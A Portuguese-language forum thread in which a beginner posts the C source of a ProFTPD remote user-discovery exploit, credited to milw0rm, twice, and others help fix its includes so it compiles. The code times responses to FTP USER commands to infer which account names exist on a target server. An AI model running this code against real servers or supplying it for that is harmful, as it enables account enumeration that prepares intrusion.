Jump to content

não da para compilar


bonucci
 Share

Recommended Posts

Oi pessoal, tenho aqui um script, no qual gostaria de experimentalo no meu servidor, numa plaicaçao que tenho instalado ftp, o script é esse

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define PORT 21
#define PROBE 8

main (int argc, char **argv)
{
int sock,n,y;
long dist,stat=0;
struct sockaddr_in sin;
char buf[1024], buf2[1024];
struct timeval tv, tv2;
struct timezone tz, tz2;

printf ("Proftpd remote users discovery exploit\n"
" Coded by Leon / LSS Security\n"
">-------------------------------------<\n");

if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }

sock = socket (AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT);
sin.sin_addr.s_addr = inet_addr (argv[1]);
bzero (sin.sin_zero,8);

connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

printf ("Login time: ");
n = read (sock,buf2, sizeof(buf2));
for (y=0;y<PROBE;y++) {
gettimeofday (&tv,&tz);
snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
write (sock, buf, strlen(buf));
n = read (sock,buf2, sizeof(buf2));
gettimeofday (&tv2,&tz2);
dist =tv2.tv_usec - tv.tv_usec;
stat += dist;
printf (" %d |",dist);
}
printf ("\nAvrg: %d\n",(stat/PROBE));
close (sock);
}

no qual n pertence a mim claro, pertence aqui ao mill http://www.milw0rm.com/exploits/581

Alguem faz ideia porque n consigo compilalo?? está faltando alguma coisa? experimentei no Dev c++ e até em linux gcc, sorry pela pergunta lamme, sou um zero a programação, mas ja ando a deidicarme mais a ele ultimamente, pois na minha vida do dia a dia obrigame a saber programação

Ficam bem pessoal

Link to comment
Share on other sites

Compilei simplesmente com "gcc -o script  script.c" e deu perfeitamente (com três warnings por declarações implícitas, faltam fazer #include à string.h e stdlib.h).

❝The idea that I can be presented with a problem, set out to logically solve it with the tools at hand, and wind up with a program that could not be legally used because someone else followed the same logical steps some years ago and filed for a patent on it is horrifying.❞- John Carmack on software patents

A list  of command line apps

Link to comment
Share on other sites

fogo, entao sao aqui os programas do meu pc que andam a bater mal... aqui está como eu altereio, eu tento compilalo em Dev c++ mas não me compila

aqui está o codigo:

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <stdio.h>

#include <arpa/inet.h>

#include <sys/time.h>

#define PORT 21

#define PROBE 8

int main (int argc, char **argv)

{

int sock,n,y;

long dist,stat=0;

struct sockaddr_in sin;

char buf[1024], buf2[1024];

struct timeval tv, tv2;

struct timezone tz, tz2;

printf ("Proftpd remote users discovery exploit\n"

" Coded by Leon / LSS Security\n"

">-------------------------------------<\n");

if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }

sock = socket (AF_INET, SOCK_STREAM, 0);

sin.sin_family = AF_INET;

sin.sin_port = htons (PORT);

sin.sin_addr.s_addr = inet_addr (argv[1]);

bzero (sin.sin_zero,8);

connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

printf ("Login time: ");

n = read (sock,buf2, sizeof(buf2));

for (y=0;y<PROBE;y++) {

gettimeofday (&tv,&tz);

snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);

write (sock, buf, strlen(buf));

n = read (sock,buf2, sizeof(buf2));

gettimeofday (&tv2,&tz2);

dist =tv2.tv_usec - tv.tv_usec;

stat += dist;

printf (" %d |",dist);

}

printf ("\nAvrg: %d\n",(stat/PROBE));

close (sock);

}

Axo que não falta nada no codigo

Link to comment
Share on other sites

experimentei agora no linux e d]ame os seguintes erros

: In function ‘main’:

45: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

47: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

:S

Sem duvida que tenho que treinar a minha programa;\ao

Link to comment
Share on other sites

experimentei agora no linux e d]ame os seguintes erros

: In function ‘main’:

45: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

47: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

:S

Sem duvida que tenho que treinar a minha programa;\ao

De referir que isso são avisos e não erros.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

×
×
  • Create New...

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.